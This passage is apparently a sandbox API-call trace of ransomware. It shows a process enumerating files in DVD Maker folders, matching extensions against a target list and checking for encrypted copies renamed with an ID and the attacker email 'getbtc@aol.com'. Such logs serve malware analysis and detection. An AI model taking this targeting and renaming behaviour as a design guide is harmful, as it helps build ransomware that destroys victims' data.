(lpString1=".xlsx", lpString2="2.wmv") returned -1 [0238.637] lstrlenW (lpString=".ppt") returned 4 [0238.637] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0238.637] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv") returned 78 [0238.637] lstrlenW (lpString=".zip") returned 4 [0238.637] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0238.637] lstrlenW (lpString=".rar") returned 4 [0238.637] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0238.637] lstrlenW (lpString=".bz2") returned 4 [0238.637] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0238.637] lstrlenW (lpString=".7z") returned 3 [0238.637] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0238.637] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv") returned 78 [0238.637] lstrlenW (lpString=".dbf") returned 4 [0238.637] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0238.637] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv") returned 78 [0238.637] lstrlenW (lpString=".1cd") returned 4 [0238.637] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0238.637] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv") returned 78 [0238.637] lstrlenW (lpString=".jpg") returned 4 [0238.637] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0238.637] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv") returned 78 [0238.637] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv") returned 78 [0238.637] lstrlenW (lpString=".doc") returned 4 [0238.637] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0238.637] lstrlenW (lpString=".docx") returned 5 [0238.637] lstrcmpiW (lpString1=".docx", lpString2="2.wmv") returned -1 [0238.637] lstrlenW (lpString=".pdf") returned 4 [0238.637] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0238.637] lstrlenW (lpString=".xls") returned 4 [0238.637] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0238.638] lstrlenW (lpString=".xlsx") returned 5 [0238.638] lstrcmpiW (lpString1=".xlsx", lpString2="2.wmv") returned -1 [0238.638] lstrlenW (lpString=".ppt") returned 4 [0238.638] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0238.638] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv") returned 78 [0238.638] lstrlenW (lpString=".zip") returned 4 [0238.638] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0238.638] lstrlenW (lpString=".rar") returned 4 [0238.638] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0238.638] lstrlenW (lpString=".bz2") returned 4 [0238.638] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0238.638] lstrlenW (lpString=".7z") returned 3 [0238.638] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0238.638] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv") returned 78 [0238.638] lstrlenW (lpString=".dbf") returned 4 [0238.638] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0238.638] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv") returned 78 [0238.638] lstrlenW (lpString=".1cd") returned 4 [0238.638] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0238.638] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv") returned 78 [0238.638] lstrlenW (lpString=".jpg") returned 4 [0238.638] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0238.638] lstrcmpiW (lpString1=".png", lpString2=".Q1G") returned -1 [0238.638] lstrlenW (lpString="NavigationLeft_SelectionSubpicture.png") returned 38 [0238.638] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0238.684] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=3130) returned 1 [0238.691] CloseHandle (hObject=0x204) returned 1 [0238.695] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_selectionsubpicture.png")) returned 0x20 [0238.695] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_selectionsubpicture.png.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0238.695] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.695] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png") returned 91 [0238.695] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png") returned 91 [0238.695] lstrlenW (lpString=".doc") returned 4 [0238.695] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0238.695] lstrlenW (lpString=".docx") returned 5 [0238.695] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0238.695] lstrlenW (lpString=".pdf") returned 4 [0238.695] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0238.695] lstrlenW (lpString=".xls") returned 4 [0238.695] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0238.695] lstrlenW (lpString=".xlsx") returned 5 [0238.695] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0238.695] lstrlenW (lpString=".ppt") returned 4 [0238.695] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0238.695] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png") returned 91 [0238.695] lstrlenW (lpString=".zip") returned 4 [0238.695] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0238.695] lstrlenW (lpString=".rar") returned 4 [0238.695] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0238.695] lstrlenW (lpString=".bz2") returned 4 [0238.696] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0238.696] lstrlenW (lpString=".7z") returned 3 [0238.696] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0238.696] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png") returned 91 [0238.696] lstrlenW (lpString=".dbf") returned 4 [0238.696] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0238.696] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png") returned 91 [0238.696] lstrlenW (lpString=".1cd") returned 4 [0238.696] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0238.696] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png") returned 91 [0238.696] lstrlenW (lpString=".jpg") returned 4 [0238.696] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0238.696] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png") returned 91 [0238.696] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png") returned 91 [0238.696] lstrlenW (lpString=".doc") returned 4 [0238.696] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0238.696] lstrlenW (lpString=".docx") returned 5 [0238.696] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0238.696] lstrlenW (lpString=".pdf") returned 4 [0238.696] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0238.696] lstrlenW (lpString=".xls") returned 4 [0238.696] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0238.696] lstrlenW (lpString=".xlsx") returned 5 [0238.696] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0238.696] lstrlenW (lpString=".ppt") returned 4 [0238.696] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0238.696] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png") returned 91 [0238.696] lstrlenW (lpString=".zip") returned 4 [0238.696] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0238.696] lstrlenW (lpString=".rar") returned 4 [0238.696] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0238.696] lstrlenW (lpString=".bz2") returned 4 [0238.696] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0238.696] lstrlenW (lpString=".7z") returned 3 [0238.696] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0238.696] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png") returned 91 [0238.697] lstrlenW (lpString=".dbf") returned 4 [0238.697] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0238.697] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png") returned 91 [0238.697] lstrlenW (lpString=".1cd") returned 4 [0238.697] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0238.697] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png") returned 91 [0238.697] lstrlenW (lpString=".jpg") returned 4 [0238.697] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0238.697] lstrcmpiW (lpString1=".png", lpString2=".Q1G") returned -1 [0238.697] lstrlenW (lpString="scrapbook.png") returned 13 [0238.697] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\scrapbook.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0238.701] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=20346) returned 1 [0238.701] CloseHandle (hObject=0x360) returned 1 [0238.701] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\scrapbook.png")) returned 0x20 [0238.702] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\scrapbook.png.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0238.702] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\scrapbook.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.702] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png") returned 66 [0238.702] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png") returned 66 [0238.702] lstrlenW (lpString=".doc") returned 4 [0238.702] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0238.702] lstrlenW (lpString=".docx") returned 5 [0238.702] lstrcmpiW (lpString1=".docx", lpString2="k.png") returned -1 [0238.702] lstrlenW (lpString=".pdf") returned 4 [0238.702] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0238.702] lstrlenW (lpString=".xls") returned 4 [0238.702] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0238.702] lstrlenW (lpString=".xlsx") returned 5 [0238.702] lstrcmpiW (lpString1=".xlsx", lpString2="k.png") returned -1 [0238.702] lstrlenW (lpString=".ppt") returned 4 [0238.703] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0238.703] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png") returned 66 [0238.703] lstrlenW (lpString=".zip") returned 4 [0238.703] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0238.703] lstrlenW (lpString=".rar") returned 4 [0238.703] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0238.703] lstrlenW (lpString=".bz2") returned 4 [0238.703] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0238.703] lstrlenW (lpString=".7z") returned 3 [0238.703] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0238.703] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png") returned 66 [0238.703] lstrlenW (lpString=".dbf") returned 4 [0238.703] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0238.703] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png") returned 66 [0238.703] lstrlenW (lpString=".1cd") returned 4 [0238.703] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0238.703] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png") returned 66 [0238.703] lstrlenW (lpString=".jpg") returned 4 [0238.703] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0238.703] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png") returned 66 [0238.703] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png") returned 66 [0238.703] lstrlenW (lpString=".doc") returned 4 [0238.703] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0238.703] lstrlenW (lpString=".docx") returned 5 [0238.703] lstrcmpiW (lpString1=".docx", lpString2="k.png") returned -1 [0238.703] lstrlenW (lpString=".pdf") returned 4 [0238.703] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0238.703] lstrlenW (lpString=".xls") returned 4 [0238.703] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0238.703] lstrlenW (lpString=".xlsx") returned 5 [0238.703] lstrcmpiW (lpString1=".xlsx", lpString2="k.png") returned -1 [0238.703] lstrlenW (lpString=".ppt") returned 4 [0238.703] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0238.703] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png") returned 66 [0238.703] lstrlenW (lpString=".zip") returned 4 [0238.703] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0238.704] lstrlenW (lpString=".rar") returned 4 [0238.704] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0238.704] lstrlenW (lpString=".bz2") returned 4 [0238.704] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0238.704] lstrlenW (lpString=".7z") returned 3 [0238.704] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0238.704] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png") returned 66 [0238.704] lstrlenW (lpString=".dbf") returned 4 [0238.704] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0238.704] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png") returned 66 [0238.704] lstrlenW (lpString=".1cd") returned 4 [0238.704] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0238.704] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png") returned 66 [0238.704] lstrlenW (lpString=".jpg") returned 4 [0238.704] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0238.704] lstrcmpiW (lpString1=".png", lpString2=".Q1G") returned -1 [0238.704] lstrlenW (lpString="Title_content-background.png") returned 28 [0238.704] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_content-background.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0238.704] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=233668) returned 1 [0238.704] CloseHandle (hObject=0x360) returned 1 [0238.704] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_content-background.png")) returned 0x20 [0238.705] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_content-background.png.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_content-background.png.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0238.705] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_content-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.705] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_content-background.png") returned 81 [0238.705] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_content-background.png") returned 81 [0238.705] lstrlenW (lpString=".doc") returned 4 [0238.705] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0238.705] lstrlenW (lpString=".docx") returned 5 [0238.705] lstrcmpiW (lpString1=".docx", lpString2="d.png") returned -1 [0238.705] lstrlenW (lpString=".pdf") returned 4 [0238.705] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0238.705] lstrlenW (lpString=".xls") returned 4 [0238.705] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0238.705] lstrlenW (lpString=".xlsx") returned 5 [0238.705] lstrcmpiW (lpString1=".xlsx", lpString2="d.png") returned -1 [0238.705] lstrlenW (lpString=".ppt") returned 4 [0238.705] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0238.705] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_content-background.png") returned 81 [0238.705] lstrlenW (lpString=".zip") returned 4 [0238.705] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0238.705] lstrlenW (lpString=".rar") returned 4 [0238.705] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0238.705] lstrlenW (lpString=".bz2") returned 4 [0238.705] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0238.705] lstrlenW (lpString=".7z") returned 3 [0238.705] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0238.705] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_content-background.png") returned 81 [0238.705] lstrlenW (lpString=".dbf") returned 4 [0238.705] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0238.706] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_content-background.png") returned 81 [0238.706] lstrlenW (lpString=".1cd") returned 4 [0238.706] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0238.706] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_content-background.png") returned 81 [0238.706] lstrlenW (lpString=".jpg") returned 4 [0238.706] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0238.706] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_content-background.png") returned 81 [0238.706] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_content-background.png") returned 81 [0238.706] lstrlenW (lpString=".doc") returned 4 [0238.706] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0238.706] lstrlenW (lpString=".docx") returned 5 [0238.706] lstrcmpiW (lpString1=".docx", lpString2="d.png") returned -1 [0238.706] lstrlenW (lpString=".pdf") returned 4 [0238.706] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0238.706] lstrlenW (lpString=".xls") returned 4 [0238.706] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0238.706] lstrlenW (lpString=".xlsx") returned 5 [0238.706] lstrcmpiW (lpString1=".xlsx", lpString2="d.png") returned -1 [0238.706] lstrlenW (lpString=".ppt") returned 4 [0238.706] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0238.706] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_content-background.png") returned 81 [0238.706] lstrlenW (lpString=".zip") returned 4 [0238.706] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0238.706] lstrlenW (lpString=".rar") returned 4 [0238.706] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0238.706] lstrlenW (lpString=".bz2") returned 4 [0238.706] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0238.706] lstrlenW (lpString=".7z") returned 3 [0238.706] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0238.706] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_content-background.png") returned 81 [0238.706] lstrlenW (lpString=".dbf") returned 4 [0238.706] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0238.706] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_content-background.png") returned 81 [0238.706] lstrlenW (lpString=".1cd") returned 4 [0238.706] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0238.706] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_content-background.png") returned 81 [0238.707] lstrlenW (lpString=".jpg") returned 4 [0238.707] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0238.707] lstrcmpiW (lpString1=".png", lpString2=".Q1G") returned -1 [0238.707] lstrlenW (lpString="Title_mainImage-mask.png") returned 24 [0238.707] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_mainImage-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_mainimage-mask.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0238.707] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=4968) returned 1 [0238.707] CloseHandle (hObject=0x360) returned 1 [0238.707] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_mainImage-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_mainimage-mask.png")) returned 0x20 [0238.707] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_mainImage-mask.png.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_mainimage-mask.png.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0238.707] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_mainImage-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_mainimage-mask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.707] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_mainImage-mask.png") returned 77 [0238.707] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_mainImage-mask.png") returned 77 [0238.708] lstrlenW (lpString=".doc") returned 4 [0238.708] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0238.708] lstrlenW (lpString=".docx") returned 5 [0238.708] lstrcmpiW (lpString1=".docx", lpString2="k.png") returned -1 [0238.708] lstrlenW (lpString=".pdf") returned 4 [0238.708] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0238.708] lstrlenW (lpString=".xls") returned 4 [0238.708] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0238.708] lstrlenW (lpString=".xlsx") returned 5 [0238.708] lstrcmpiW (lpString1=".xlsx", lpString2="k.png") returned -1 [0238.708] lstrlenW (lpString=".ppt") returned 4 [0238.708] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0238.708] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_mainImage-mask.png") returned 77 [0238.708] lstrlenW (lpString=".zip") returned 4 [0238.708] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0238.708] lstrlenW (lpString=".rar") returned 4 [0238.708] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0238.708] lstrlenW (lpString=".bz2") returned 4 [0238.708] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0238.708] lstrlenW (lpString=".7z") returned 3 [0238.708] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0238.708] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_mainImage-mask.png") returned 77 [0238.708] lstrlenW (lpString=".dbf") returned 4 [0238.708] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0238.708] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_mainImage-mask.png") returned 77 [0238.708] lstrlenW (lpString=".1cd") returned 4 [0238.708] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0238.708] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_mainImage-mask.png") returned 77 [0238.708] lstrlenW (lpString=".jpg") returned 4 [0238.708] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0238.708] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_mainImage-mask.png") returned 77 [0238.708] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_mainImage-mask.png") returned 77 [0238.708] lstrlenW (lpString=".doc") returned 4 [0238.708] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0238.708] lstrlenW (lpString=".docx") returned 5 [0238.708] lstrcmpiW (lpString1=".docx", lpString2="k.png") returned -1 [0238.708] lstrlenW (lpString=".pdf") returned 4 [0238.709] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0238.709] lstrlenW (lpString=".xls") returned 4 [0238.709] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 